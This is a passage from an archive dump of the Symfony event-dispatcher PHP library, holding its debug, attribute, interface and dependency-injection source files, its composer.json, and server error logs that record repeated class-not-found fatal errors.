sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. event-dispatcher/Debug/WrappedListener.php000064400000011351151113512200014650 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\EventDispatcher\Debug; use Psr\EventDispatcher\StoppableEventInterface; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\Stopwatch\Stopwatch; use Symfony\Component\VarDumper\Caster\ClassStub; /** * @author Fabien Potencier */ final class WrappedListener { private string|array|object $listener; private ?\Closure $optimizedListener; private string $name; private bool $called = false; private bool $stoppedPropagation = false; private Stopwatch $stopwatch; private ?EventDispatcherInterface $dispatcher; private string $pretty; private string $callableRef; private ClassStub|string $stub; private ?int $priority = null; private static bool $hasClassStub; public function __construct(callable|array $listener, ?string $name, Stopwatch $stopwatch, EventDispatcherInterface $dispatcher = null, int $priority = null) { $this->listener = $listener; $this->optimizedListener = $listener instanceof \Closure ? $listener : (\is_callable($listener) ? $listener(...) : null); $this->stopwatch = $stopwatch; $this->dispatcher = $dispatcher; $this->priority = $priority; if (\is_array($listener)) { [$this->name, $this->callableRef] = $this->parseListener($listener); $this->pretty = $this->name.'::'.$listener[1]; $this->callableRef .= '::'.$listener[1]; } elseif ($listener instanceof \Closure) { $r = new \ReflectionFunction($listener); if (str_contains($r->name, '{closure}')) { $this->pretty = $this->name = 'closure'; } elseif ($class = \PHP_VERSION_ID >= 80111 ? $r->getClosureCalledClass() : $r->getClosureScopeClass()) { $this->name = $class->name; $this->pretty = $this->name.'::'.$r->name; } else { $this->pretty = $this->name = $r->name; } } elseif (\is_string($listener)) { $this->pretty = $this->name = $listener; } else { $this->name = get_debug_type($listener); $this->pretty = $this->name.'::__invoke'; $this->callableRef = $listener::class.'::__invoke'; } if (null !== $name) { $this->name = $name; } self::$hasClassStub ??= class_exists(ClassStub::class); } public function getWrappedListener(): callable|array { return $this->listener; } public function wasCalled(): bool { return $this->called; } public function stoppedPropagation(): bool { return $this->stoppedPropagation; } public function getPretty(): string { return $this->pretty; } public function getInfo(string $eventName): array { $this->stub ??= self::$hasClassStub ? new ClassStub($this->pretty.'()', $this->callableRef ?? $this->listener) : $this->pretty.'()'; return [ 'event' => $eventName, 'priority' => $this->priority ??= $this->dispatcher?->getListenerPriority($eventName, $this->listener), 'pretty' => $this->pretty, 'stub' => $this->stub, ]; } public function __invoke(object $event, string $eventName, EventDispatcherInterface $dispatcher): void { $dispatcher = $this->dispatcher ?: $dispatcher; $this->called = true; $this->priority ??= $dispatcher->getListenerPriority($eventName, $this->listener); $e = $this->stopwatch->start($this->name, 'event_listener'); try { ($this->optimizedListener ?? $this->listener)($event, $eventName, $dispatcher); } finally { if ($e->isStarted()) { $e->stop(); } } if ($event instanceof StoppableEventInterface && $event->isPropagationStopped()) { $this->stoppedPropagation = true; } } private function parseListener(array $listener): array { if ($listener[0] instanceof \Closure) { foreach ((new \ReflectionFunction($listener[0]))->getAttributes(\Closure::class) as $attribute) { if ($name = $attribute->getArguments()['name'] ?? false) { return [$name, $attribute->getArguments()['class'] ?? $name]; } } } if (\is_object($listener[0])) { return [get_debug_type($listener[0]), $listener[0]::class]; } return [$listener[0], $listener[0]]; } } event-dispatcher/Debug/TraceableEventDispatcher.php000064400000030214151113512200016432 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\EventDispatcher\Debug; use Psr\EventDispatcher\StoppableEventInterface; use Psr\Log\LoggerInterface; use Symfony\Component\EventDispatcher\EventDispatcher; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\Stopwatch\Stopwatch; use Symfony\Contracts\Service\ResetInterface; /** * Collects some data about event listeners. * * This event dispatcher delegates the dispatching to another one. * * @author Fabien Potencier */ class TraceableEventDispatcher implements EventDispatcherInterface, ResetInterface { protected $logger; protected $stopwatch; /** * @var \SplObjectStorage|null */ private ?\SplObjectStorage $callStack = null; private EventDispatcherInterface $dispatcher; private array $wrappedListeners = []; private array $orphanedEvents = []; private ?RequestStack $requestStack; private string $currentRequestHash = ''; public function __construct(EventDispatcherInterface $dispatcher, Stopwatch $stopwatch, LoggerInterface $logger = null, RequestStack $requestStack = null) { $this->dispatcher = $dispatcher; $this->stopwatch = $stopwatch; $this->logger = $logger; $this->requestStack = $requestStack; } /** * @return void */ public function addListener(string $eventName, callable|array $listener, int $priority = 0) { $this->dispatcher->addListener($eventName, $listener, $priority); } /** * @return void */ public function addSubscriber(EventSubscriberInterface $subscriber) { $this->dispatcher->addSubscriber($subscriber); } /** * @return void */ public function removeListener(string $eventName, callable|array $listener) { if (isset($this->wrappedListeners[$eventName])) { foreach ($this->wrappedListeners[$eventName] as $index => $wrappedListener) { if ($wrappedListener->getWrappedListener() === $listener || ($listener instanceof \Closure && $wrappedListener->getWrappedListener() == $listener)) { $listener = $wrappedListener; unset($this->wrappedListeners[$eventName][$index]); break; } } } $this->dispatcher->removeListener($eventName, $listener); } /** * @return void */ public function removeSubscriber(EventSubscriberInterface $subscriber) { $this->dispatcher->removeSubscriber($subscriber); } public function getListeners(string $eventName = null): array { return $this->dispatcher->getListeners($eventName); } public function getListenerPriority(string $eventName, callable|array $listener): ?int { // we might have wrapped listeners for the event (if called while dispatching) // in that case get the priority by wrapper if (isset($this->wrappedListeners[$eventName])) { foreach ($this->wrappedListeners[$eventName] as $wrappedListener) { if ($wrappedListener->getWrappedListener() === $listener || ($listener instanceof \Closure && $wrappedListener->getWrappedListener() == $listener)) { return $this->dispatcher->getListenerPriority($eventName, $wrappedListener); } } } return $this->dispatcher->getListenerPriority($eventName, $listener); } public function hasListeners(string $eventName = null): bool { return $this->dispatcher->hasListeners($eventName); } public function dispatch(object $event, string $eventName = null): object { $eventName ??= $event::class; $this->callStack ??= new \SplObjectStorage(); $currentRequestHash = $this->currentRequestHash = $this->requestStack && ($request = $this->requestStack->getCurrentRequest()) ? spl_object_hash($request) : ''; if (null !== $this->logger && $event instanceof StoppableEventInterface && $event->isPropagationStopped()) { $this->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.', $eventName)); } $this->preProcess($eventName); try { $this->beforeDispatch($eventName, $event); try { $e = $this->stopwatch->start($eventName, 'section'); try { $this->dispatcher->dispatch($event, $eventName); } finally { if ($e->isStarted()) { $e->stop(); } } } finally { $this->afterDispatch($eventName, $event); } } finally { $this->currentRequestHash = $currentRequestHash; $this->postProcess($eventName); } return $event; } public function getCalledListeners(Request $request = null): array { if (null === $this->callStack) { return []; } $hash = $request ? spl_object_hash($request) : null; $called = []; foreach ($this->callStack as $listener) { [$eventName, $requestHash] = $this->callStack->getInfo(); if (null === $hash || $hash === $requestHash) { $called[] = $listener->getInfo($eventName); } } return $called; } public function getNotCalledListeners(Request $request = null): array { try { $allListeners = $this->dispatcher instanceof EventDispatcher ? $this->getListenersWithPriority() : $this->getListenersWithoutPriority(); } catch (\Exception $e) { $this->logger?->info('An exception was thrown while getting the uncalled listeners.', ['exception' => $e]); // unable to retrieve the uncalled listeners return []; } $hash = $request ? spl_object_hash($request) : null; $calledListeners = []; if (null !== $this->callStack) { foreach ($this->callStack as $calledListener) { [, $requestHash] = $this->callStack->getInfo(); if (null === $hash || $hash === $requestHash) { $calledListeners[] = $calledListener->getWrappedListener(); } } } $notCalled = []; foreach ($allListeners as $eventName => $listeners) { foreach ($listeners as [$listener, $priority]) { if (!\in_array($listener, $calledListeners, true)) { if (!$listener instanceof WrappedListener) { $listener = new WrappedListener($listener, null, $this->stopwatch, $this, $priority); } $notCalled[] = $listener->getInfo($eventName); } } } uasort($notCalled, $this->sortNotCalledListeners(...)); return $notCalled; } public function getOrphanedEvents(Request $request = null): array { if ($request) { return $this->orphanedEvents[spl_object_hash($request)] ?? []; } if (!$this->orphanedEvents) { return []; } return array_merge(...array_values($this->orphanedEvents)); } /** * @return void */ public function reset() { $this->callStack = null; $this->orphanedEvents = []; $this->currentRequestHash = ''; } /** * Proxies all method calls to the original event dispatcher. * * @param string $method The method name * @param array $arguments The method arguments */ public function __call(string $method, array $arguments): mixed { return $this->dispatcher->{$method}(...$arguments); } /** * Called before dispatching the event. * * @return void */ protected function beforeDispatch(string $eventName, object $event) { } /** * Called after dispatching the event. * * @return void */ protected function afterDispatch(string $eventName, object $event) { } private function preProcess(string $eventName): void { if (!$this->dispatcher->hasListeners($eventName)) { $this->orphanedEvents[$this->currentRequestHash][] = $eventName; return; } foreach ($this->dispatcher->getListeners($eventName) as $listener) { $priority = $this->getListenerPriority($eventName, $listener); $wrappedListener = new WrappedListener($listener instanceof WrappedListener ? $listener->getWrappedListener() : $listener, null, $this->stopwatch, $this); $this->wrappedListeners[$eventName][] = $wrappedListener; $this->dispatcher->removeListener($eventName, $listener); $this->dispatcher->addListener($eventName, $wrappedListener, $priority); $this->callStack->attach($wrappedListener, [$eventName, $this->currentRequestHash]); } } private function postProcess(string $eventName): void { unset($this->wrappedListeners[$eventName]); $skipped = false; foreach ($this->dispatcher->getListeners($eventName) as $listener) { if (!$listener instanceof WrappedListener) { // #12845: a new listener was added during dispatch. continue; } // Unwrap listener $priority = $this->getListenerPriority($eventName, $listener); $this->dispatcher->removeListener($eventName, $listener); $this->dispatcher->addListener($eventName, $listener->getWrappedListener(), $priority); if (null !== $this->logger) { $context = ['event' => $eventName, 'listener' => $listener->getPretty()]; } if ($listener->wasCalled()) { $this->logger?->debug('Notified event "{event}" to listener "{listener}".', $context); } else { $this->callStack->detach($listener); } if (null !== $this->logger && $skipped) { $this->logger->debug('Listener "{listener}" was not called for event "{event}".', $context); } if ($listener->stoppedPropagation()) { $this->logger?->debug('Listener "{listener}" stopped propagation of the event "{event}".', $context); $skipped = true; } } } private function sortNotCalledListeners(array $a, array $b): int { if (0 !== $cmp = strcmp($a['event'], $b['event'])) { return $cmp; } if (\is_int($a['priority']) && !\is_int($b['priority'])) { return 1; } if (!\is_int($a['priority']) && \is_int($b['priority'])) { return -1; } if ($a['priority'] === $b['priority']) { return 0; } if ($a['priority'] > $b['priority']) { return -1; } return 1; } private function getListenersWithPriority(): array { $result = []; $allListeners = new \ReflectionProperty(EventDispatcher::class, 'listeners'); $allListeners->setAccessible(true); foreach ($allListeners->getValue($this->dispatcher) as $eventName => $listenersByPriority) { foreach ($listenersByPriority as $priority => $listeners) { foreach ($listeners as $listener) { $result[$eventName][] = [$listener, $priority]; } } } return $result; } private function getListenersWithoutPriority(): array { $result = []; foreach ($this->getListeners() as $eventName => $listeners) { foreach ($listeners as $listener) { $result[$eventName][] = [$listener, null]; } } return $result; } } event-dispatcher/Debug/error_log000064400000002252151113512200012744 0ustar00[25-Nov-2025 02:58:39 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php on line 31 [26-Nov-2025 01:36:43 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php on line 31 [26-Nov-2025 01:36:45 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php on line 31 event-dispatcher/Attribute/AsEventListener.php000064400000001324151113512200015527 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\EventDispatcher\Attribute; /** * Service tag to autoconfigure event listeners. * * @author Alexander M. Turek */ #[\Attribute(\Attribute::TARGET_CLASS | \Attribute::TARGET_METHOD | \Attribute::IS_REPEATABLE)] class AsEventListener { public function __construct( public ?string $event = null, public ?string $method = null, public int $priority = 0, public ?string $dispatcher = null, ) { } } event-dispatcher/ImmutableEventDispatcher.php000064400000004172151113512200015445 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\EventDispatcher; /** * A read-only proxy for an event dispatcher. * * @author Bernhard Schussek */ class ImmutableEventDispatcher implements EventDispatcherInterface { private EventDispatcherInterface $dispatcher; public function __construct(EventDispatcherInterface $dispatcher) { $this->dispatcher = $dispatcher; } public function dispatch(object $event, string $eventName = null): object { return $this->dispatcher->dispatch($event, $eventName); } /** * @return never */ public function addListener(string $eventName, callable|array $listener, int $priority = 0) { throw new \BadMethodCallException('Unmodifiable event dispatchers must not be modified.'); } /** * @return never */ public function addSubscriber(EventSubscriberInterface $subscriber) { throw new \BadMethodCallException('Unmodifiable event dispatchers must not be modified.'); } /** * @return never */ public function removeListener(string $eventName, callable|array $listener) { throw new \BadMethodCallException('Unmodifiable event dispatchers must not be modified.'); } /** * @return never */ public function removeSubscriber(EventSubscriberInterface $subscriber) { throw new \BadMethodCallException('Unmodifiable event dispatchers must not be modified.'); } public function getListeners(string $eventName = null): array { return $this->dispatcher->getListeners($eventName); } public function getListenerPriority(string $eventName, callable|array $listener): ?int { return $this->dispatcher->getListenerPriority($eventName, $listener); } public function hasListeners(string $eventName = null): bool { return $this->dispatcher->hasListeners($eventName); } } event-dispatcher/composer.json000064400000002711151113512210012524 0ustar00{ "name": "symfony/event-dispatcher", "type": "library", "description": "Provides tools that allow your application components to communicate with each other by dispatching events and listening to them", "keywords": [], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1", "symfony/event-dispatcher-contracts": "^2.5|^3" }, "require-dev": { "symfony/dependency-injection": "^5.4|^6.0", "symfony/expression-language": "^5.4|^6.0", "symfony/config": "^5.4|^6.0", "symfony/error-handler": "^5.4|^6.0", "symfony/http-foundation": "^5.4|^6.0", "symfony/service-contracts": "^2.5|^3", "symfony/stopwatch": "^5.4|^6.0", "psr/log": "^1|^2|^3" }, "conflict": { "symfony/dependency-injection": "<5.4", "symfony/service-contracts": "<2.5" }, "provide": { "psr/event-dispatcher-implementation": "1.0", "symfony/event-dispatcher-implementation": "2.0|3.0" }, "autoload": { "psr-4": { "Symfony\\Component\\EventDispatcher\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } event-dispatcher/EventDispatcherInterface.php000064400000004306151113512210015426 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\EventDispatcher; use Symfony\Contracts\EventDispatcher\EventDispatcherInterface as ContractsEventDispatcherInterface; /** * The EventDispatcherInterface is the central point of Symfony's event listener system. * Listeners are registered on the manager and events are dispatched through the * manager. * * @author Bernhard Schussek */ interface EventDispatcherInterface extends ContractsEventDispatcherInterface { /** * Adds an event listener that listens on the specified events. * * @param int $priority The higher this value, the earlier an event * listener will be triggered in the chain (defaults to 0) * * @return void */ public function addListener(string $eventName, callable $listener, int $priority = 0); /** * Adds an event subscriber. * * The subscriber is asked for all the events it is * interested in and added as a listener for these events. * * @return void */ public function addSubscriber(EventSubscriberInterface $subscriber); /** * Removes an event listener from the specified events. * * @return void */ public function removeListener(string $eventName, callable $listener); /** * @return void */ public function removeSubscriber(EventSubscriberInterface $subscriber); /** * Gets the listeners of a specific event or all listeners sorted by descending priority. * * @return array */ public function getListeners(string $eventName = null): array; /** * Gets the listener priority for a specific event. * * Returns null if the event or the listener does not exist. */ public function getListenerPriority(string $eventName, callable $listener): ?int; /** * Checks whether an event has any registered listeners. */ public function hasListeners(string $eventName = null): bool; } event-dispatcher/EventSubscriberInterface.php000064400000003344151113512210015444 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\EventDispatcher; /** * An EventSubscriber knows itself what events it is interested in. * If an EventSubscriber is added to an EventDispatcherInterface, the manager invokes * {@link getSubscribedEvents} and registers the subscriber as a listener for all * returned events. * * @author Guilherme Blanco * @author Jonathan Wage * @author Roman Borschel * @author Bernhard Schussek */ interface EventSubscriberInterface { /** * Returns an array of event names this subscriber wants to listen to. * * The array keys are event names and the value can be: * * * The method name to call (priority defaults to 0) * * An array composed of the method name to call and the priority * * An array of arrays composed of the method names to call and respective * priorities, or 0 if unset * * For instance: * * * ['eventName' => 'methodName'] * * ['eventName' => ['methodName', $priority]] * * ['eventName' => [['methodName1', $priority], ['methodName2']]] * * The code must not depend on runtime state as it will only be called at compile time. * All logic depending on runtime state must be put into the individual methods handling the events. * * @return array> */ public static function getSubscribedEvents(); } event-dispatcher/error_log000064400000013434151113512210011723 0ustar00[18-Nov-2025 05:10:39 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcher.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcher.php on line 32 [18-Nov-2025 07:03:38 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/ImmutableEventDispatcher.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/ImmutableEventDispatcher.php on line 19 [18-Nov-2025 07:22:47 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcherInterface.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcherInterface.php on line 23 [18-Nov-2025 15:38:08 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcher.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcher.php on line 32 [18-Nov-2025 17:52:08 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/ImmutableEventDispatcher.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/ImmutableEventDispatcher.php on line 19 [18-Nov-2025 17:55:22 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcherInterface.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcherInterface.php on line 23 [18-Nov-2025 19:01:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Contracts\EventDispatcher\Event" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/GenericEvent.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/GenericEvent.php on line 26 [19-Nov-2025 02:51:42 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Contracts\EventDispatcher\Event" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/GenericEvent.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/GenericEvent.php on line 26 [24-Nov-2025 10:09:09 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Contracts\EventDispatcher\Event" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/GenericEvent.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/GenericEvent.php on line 26 [24-Nov-2025 10:12:42 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcherInterface.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcherInterface.php on line 23 [24-Nov-2025 12:44:36 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcher.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcher.php on line 32 [24-Nov-2025 12:47:54 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/ImmutableEventDispatcher.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/ImmutableEventDispatcher.php on line 19 [25-Nov-2025 10:52:58 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Contracts\EventDispatcher\Event" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/GenericEvent.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/GenericEvent.php on line 26 [25-Nov-2025 10:54:02 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcher.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcher.php on line 32 [25-Nov-2025 10:55:35 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcherInterface.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/EventDispatcherInterface.php on line 23 [25-Nov-2025 10:56:08 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/ImmutableEventDispatcher.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/ImmutableEventDispatcher.php on line 19 event-dispatcher/DependencyInjection/RegisterListenersPass.php000064400000020407151113512210020742 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\EventDispatcher\DependencyInjection; use Symfony\Component\DependencyInjection\Argument\ServiceClosureArgument; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Exception\InvalidArgumentException; use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\EventDispatcher\EventDispatcher; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Contracts\EventDispatcher\Event; /** * Compiler pass to register tagged services for an event dispatcher. */ class RegisterListenersPass implements CompilerPassInterface { private array $hotPathEvents = []; private array $noPreloadEvents = []; /** * @return $this */ public function setHotPathEvents(array $hotPathEvents): static { $this->hotPathEvents = array_flip($hotPathEvents); return $this; } /** * @return $this */ public function setNoPreloadEvents(array $noPreloadEvents): static { $this->noPreloadEvents = array_flip($noPreloadEvents); return $this; } /** * @return void */ public function process(ContainerBuilder $container) { if (!$container->hasDefinition('event_dispatcher') && !$container->hasAlias('event_dispatcher')) { return; } $aliases = []; if ($container->hasParameter('event_dispatcher.event_aliases')) { $aliases = $container->getParameter('event_dispatcher.event_aliases'); } $globalDispatcherDefinition = $container->findDefinition('event_dispatcher'); foreach ($container->findTaggedServiceIds('kernel.event_listener', true) as $id => $events) { $noPreload = 0; foreach ($events as $event) { $priority = $event['priority'] ?? 0; if (!isset($event['event'])) { if ($container->getDefinition($id)->hasTag('kernel.event_subscriber')) { continue; } $event['method'] ??= '__invoke'; $event['event'] = $this->getEventFromTypeDeclaration($container, $id, $event['method']); } $event['event'] = $aliases[$event['event']] ?? $event['event']; if (!isset($event['method'])) { $event['method'] = 'on'.preg_replace_callback([ '/(?<=\b|_)[a-z]/i', '/[^a-z0-9]/i', ], fn ($matches) => strtoupper($matches[0]), $event['event']); $event['method'] = preg_replace('/[^a-z0-9]/i', '', $event['method']); if (null !== ($class = $container->getDefinition($id)->getClass()) && ($r = $container->getReflectionClass($class, false)) && !$r->hasMethod($event['method'])) { if (!$r->hasMethod('__invoke')) { throw new InvalidArgumentException(sprintf('None of the "%s" or "__invoke" methods exist for the service "%s". Please define the "method" attribute on "kernel.event_listener" tags.', $event['method'], $id)); } $event['method'] = '__invoke'; } } $dispatcherDefinition = $globalDispatcherDefinition; if (isset($event['dispatcher'])) { $dispatcherDefinition = $container->findDefinition($event['dispatcher']); } $dispatcherDefinition->addMethodCall('addListener', [$event['event'], [new ServiceClosureArgument(new Reference($id)), $event['method']], $priority]); if (isset($this->hotPathEvents[$event['event']])) { $container->getDefinition($id)->addTag('container.hot_path'); } elseif (isset($this->noPreloadEvents[$event['event']])) { ++$noPreload; } } if ($noPreload && \count($events) === $noPreload) { $container->getDefinition($id)->addTag('container.no_preload'); } } $extractingDispatcher = new ExtractingEventDispatcher(); foreach ($container->findTaggedServiceIds('kernel.event_subscriber', true) as $id => $tags) { $def = $container->getDefinition($id); // We must assume that the class value has been correctly filled, even if the service is created by a factory $class = $def->getClass(); if (!$r = $container->getReflectionClass($class)) { throw new InvalidArgumentException(sprintf('Class "%s" used for service "%s" cannot be found.', $class, $id)); } if (!$r->isSubclassOf(EventSubscriberInterface::class)) { throw new InvalidArgumentException(sprintf('Service "%s" must implement interface "%s".', $id, EventSubscriberInterface::class)); } $class = $r->name; $dispatcherDefinitions = []; foreach ($tags as $attributes) { if (!isset($attributes['dispatcher']) || isset($dispatcherDefinitions[$attributes['dispatcher']])) { continue; } $dispatcherDefinitions[$attributes['dispatcher']] = $container->findDefinition($attributes['dispatcher']); } if (!$dispatcherDefinitions) { $dispatcherDefinitions = [$globalDispatcherDefinition]; } $noPreload = 0; ExtractingEventDispatcher::$aliases = $aliases; ExtractingEventDispatcher::$subscriber = $class; $extractingDispatcher->addSubscriber($extractingDispatcher); foreach ($extractingDispatcher->listeners as $args) { $args[1] = [new ServiceClosureArgument(new Reference($id)), $args[1]]; foreach ($dispatcherDefinitions as $dispatcherDefinition) { $dispatcherDefinition->addMethodCall('addListener', $args); } if (isset($this->hotPathEvents[$args[0]])) { $container->getDefinition($id)->addTag('container.hot_path'); } elseif (isset($this->noPreloadEvents[$args[0]])) { ++$noPreload; } } if ($noPreload && \count($extractingDispatcher->listeners) === $noPreload) { $container->getDefinition($id)->addTag('container.no_preload'); } $extractingDispatcher->listeners = []; ExtractingEventDispatcher::$aliases = []; } } private function getEventFromTypeDeclaration(ContainerBuilder $container, string $id, string $method): string { if ( null === ($class = $container->getDefinition($id)->getClass()) || !($r = $container->getReflectionClass($class, false)) || !$r->hasMethod($method) || 1 > ($m = $r->getMethod($method))->getNumberOfParameters() || !($type = $m->getParameters()[0]->getType()) instanceof \ReflectionNamedType || $type->isBuiltin() || Event::class === ($name = $type->getName()) ) { throw new InvalidArgumentException(sprintf('Service "%s" must define the "event" attribute on "kernel.event_listener" tags.', $id)); } return $name; } } /** * @internal */ class ExtractingEventDispatcher extends EventDispatcher implements EventSubscriberInterface { public array $listeners = []; public static array $aliases = []; public static string $subscriber; public function addListener(string $eventName, callable|array $listener, int $priority = 0): void { $this->listeners[] = [$eventName, $listener[1], $priority]; } public static function getSubscribedEvents(): array { $events = []; foreach ([self::$subscriber, 'getSubscribedEvents']() as $eventName => $params) { $events[self::$aliases[$eventName] ?? $eventName] = $params; } return $events; } } event-dispatcher/DependencyInjection/error_log000064400000006540151113512210015644 0ustar00[19-Nov-2025 04:14:22 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/AddEventAliasesPass.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/AddEventAliasesPass.php on line 22 [19-Nov-2025 04:59:47 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in 